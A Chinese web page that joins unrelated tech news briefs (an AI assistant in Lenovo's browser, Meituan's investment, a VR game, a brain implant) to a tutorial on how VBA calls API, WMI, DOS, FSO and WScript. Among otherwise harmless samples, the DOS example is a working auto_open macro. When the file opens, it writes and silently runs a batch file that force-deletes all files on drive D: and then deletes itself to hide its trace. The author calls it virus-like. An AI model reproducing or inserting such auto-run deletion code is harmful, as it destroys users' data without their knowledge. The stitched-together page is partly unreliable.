联想浏览器推出小乐AI助手
联想浏览器今日发布 9.0.2.7311 正式版本，小乐 AI 助手测试版加入到侧边栏。据反馈，这款 AI 助手接入了百度文心一言大模型。据官方介绍，联想浏览器新版本具有三大特色功能：一是文案润色，总结提炼，邮件撰写；二是 AI 搜索功能，一次输入得到多种方案；三是 AI 对话强势结合搜索，让用户有问必有答复。
电光科技：在煤矿专用设备进行了人工智能领域产品的布局
电光科技（002730）在互动平台回复称，公司在煤矿专用设备进行了人工智能领域产品的布局，如 AI 摄像仪，智能可视化开关等一些产品。随着智能矿山的发展，未来无人化、少人化是发展趋势，相信人工智能在煤矿领域发展运用空间会更广阔。
微软Edge浏览器新功能：Bing AI帮你重写文本
微软更新了 iOS 和 Android 上的 SwiftKey 键盘应用，提供了一项新功能，可以使用 Bing AI 以各种样式重写文本，而类似的功能即将在桌面版 Microsoft Edge 浏览器中推出。
美团已正式入股AI公司光年之外
天眼查 App 显示，8 月 3 日，北京光年之外科技有限公司发生工商变更，全资股东由王慧文变更为美团旗下天津三快科技有限公司。北京光年之外科技有限公司成立于 2018 年 7 月，法定代表人为王慧文，注册资本 100 万人民币，经营范围含技术服务、技术转让、技术开发、技术推广、技术咨询，销售自行开发的产品，计算机系统服务等。
VR多人生存游戏「GRIM」计划发布Steam抢先体验版
「GRIM」是一款全新VR多人生存游戏，让人不禁想起同类题材游戏「Rust」，该作计划明年在Steam平台发布抢先体验版。Combat Waffle表示“我们的目标是在2024年底发布，不过任何事情都有可能发生。”除了SteamVR版本，开发商还确认了PS VR2版的发布计划，而Quest移植版本将在“游戏发布后的某个时间”上线，但不支持与PC或PS VR2交叉游戏。
美国开发AI大脑植入技术，可帮助瘫痪患者恢复其感觉和运动能力
美国诺斯韦尔健康中心范斯坦生物电子医学研究所开发的人工智能（AI）大脑植入技术已可帮助瘫痪患者恢复其感觉和运动。基思・托马斯在 2020 年遭遇了一场车祸，这导致他的 C4 和 C5 椎骨受伤，胸部以下的感觉和运动能力完全丧失。医生将微芯片植入他的大脑中，他的头顶安装了外部端口并连接到计算机，新开发的算法可以解释他的想法并将信号发送到脊柱和手部电极贴片，进而转化为行动。研究人员将这种方法称为思维驱动疗法，通过该技术，托马斯实现了随意移动手臂。
发现新大陆！
VBA完整的称呼是Visual Basic For Application
VBA是附属于软件中的编程语言，它的身影遍布全球，同时也遍布诸多主流软件。例如WORD、EXCEL、PPT、FrontPage、Outlook、CAD、Coreldraw等等软件都支持VBA，可见VBA应用的广泛性。
当然除此外，VBA还有一个特性：包容性。VBA语言起源于VB，但高于VB。也就是说先有VB，后有VBA，但是VB6.0停止开发后，VBA却在一步步升级，目前最新版是7.0。当然说VBA高于VB并非针对版本号，而是易用性，VBA相对VB有较大的改善。例如在窗体中添加控件，VBA中可以调置好一个控件后按住Ctrl键的同时拖动控件从而实现复制的功能，特别是一组
控件进行拖动时，可以实现复制一组控件，且属性一致，排版准确….VB是无法做到这一点的。当然还有很多很多的改进，例如VB中使用分组框Frame1后，里面的控件全变成“刮
刮卡”形式，背影变成黑色，让人无法看文字，这种BUG比较严重。还有按钮的前景色无法设置等等毛病，而VBA都进行了改进。
当然今天说的不止于此，主要谈VBA的包容性，即VBA可以使用VBA和VB的语言进行编程以外，它还可以调用其它语言，集万家所长，“它山之石可以攻玉”在此体现得淋漓尽致。
例如VBA可以调用API、ADO、SQL、DOS、VBS、WScript、FSO（FileSystemObject）、ScriptControl、WMI（Windows Management Instrumentation）以及专用于网页的语言。
________________________________________
有事实说话？Of Course！
例如VBA调用API：通过API函数判断当前是否按下了Alt\Shift或者Ctrl键。代码如下：
Private Declare Function GetKeyState Lib “user32” (ByVal vKey As Long) As Integer
Sub 测试状态()
If (GetKeyState(&H10) And &H8000) <> 0 Then MsgBox “Shift键被按下了”
If (GetKeyState(&H11) And &H8000) <> 0 Then MsgBox “Ctrl键被按下了”
If (GetKeyState(&H12) And &H8000) <> 0 Then MsgBox “Alt键被按下了”
End Sub
VBA调用WMI：通过WMI技术获取本机的分辨率设置。代码如五下：
Sub 计算分辨率()
Dim colItems, objItem As Object
Set colItems = GetObject(“winmgmts:\\.\root\cimv2”).ExecQuery(“Select * From Win32_DisplayConfiguration”)
For Each objItem In colItems
MsgBox “分辨率：” & objItem.PelsWidth & “* ” & objItem.PelsHeight
Next
End Sub
VBA调用DOS：利用DOS命令删除所有文件，同时将自己也删除，实现隐弊的目的
Sub auto_open() ‘全自动执行删除所有文件（有点像病毒了，请大家不要随意测试，知道就行）
On Error Resume Next
Dim i As Integer
Dim delFile As String
delFile = “C:\del.bat”
i = FreeFile
Open delFile For Output Access Write As #i
Print #i, “@echo off”
Print #i, “del/f/s/q d:\*.*” ‘删除D盘下所有文件
Print #i, “del/f/s/q C:\del.bat” ‘删除自己，不留痕迹
Print #i, “@echo”
Close (i)
Shell Environ$(“comspec”) & ” /c “”” & delFile & “”””, vbMinimizedFocus ‘执行命令
End Sub
VBA调用ScriptControl：通过ScriptControl开发计算函数，可以突破VBA中Evaluate的限制
我们知道Evaluate顶多能计算256个字符的表达式，远远不能满足工作需求，而ScriptControl却可以实现1000个字符以上的表达式计算
代码如下：
‘本函数可以计算表达式，例如将1+3转换成值4
Function 计算(rng As String) As String
Set obj = CreateObject(“MSScriptControl.ScriptControl”)
obj.Language = “vbscript”
计算 = obj.Eval(rng)
Set obj = Nothing
End Function
现在证明一下我的以上观点：
Sub 测试() ‘突破256限制
Dim str As String
For i = 1 To 500
str = str & “1+”
Next
MsgBox 计算(str & 1) ‘可以计算值为501
MsgBox Application.Evaluate(str & 1) ‘不能计算
End Sub
VBA调用FSO：利用FSO技术获取所有文件夹名称
Sub 将D盘所有文件夹名罗列在A列()
For Each Floder1 In CreateObject(“Scripting.FileSystemObject”).GetFolder(“D:\”).SubFolders
n = n + 1
Cells(n, 1) = Floder1.Name
Next
End Sub
___________________________________
为了更好的体现VBA的包容性，再给大家展示一个VBA同时调用FSO、WScript、DOS语言的综合应用，代码如下：
Sub 获取C盘以外所有磁盘的文件夹目录()
Dim FileSys As Object, Drv As Object, Letter As String
Set FileSys = CreateObject(”
Scripting.FileSystemObject”) ‘引用FSO对象
On Error Resume Next ‘防错
For Each Drv In FileSys.Drives ‘遍历所有磁盘
If Drv.IsReady Then ‘如果磁盘已准备好（主要针对光盘或者虚拟盘）
If Drv.DriveLetter <> “C” Then Letter = Letter & Drv.DriveLetter & “:\ ” ‘如果卷标不是C，那么将所有卷标合并
End If
Next Drv
Dim Str As String, objShell As Object
Set objShell = CreateObject(“WScript.Shell”) ‘引用WScript对象
Set DosExec = objShell.Exec(“cmd.exe /c dir ” & Letter & ” /ad”) ‘引用DOS命令提取文件夹目录
Str = DosExec.StdOut.ReadAll ‘将返回的值赋与变量Str
‘将变量Str的值以换行符作为分隔符，将它转换成数组并写入到工作表中
[a1].Resize(UBound(Split(Str, Chr(10))) + 1, 1) = WorksheetFunction.Transpose(Split(Str, Chr(10)))
Set FileSys = Nothing ‘释放变量
Set DosExec = Nothing
Set objShell = Nothing
End Sub
结束语：
VBA相当强大，除了自身的强大外，它可以将别的软件的优点借用过来扩充自己。那么我们自己呢？
希望广大网友都可以通过学习VBA来武装自己，也使自己更强大，让自己更充实。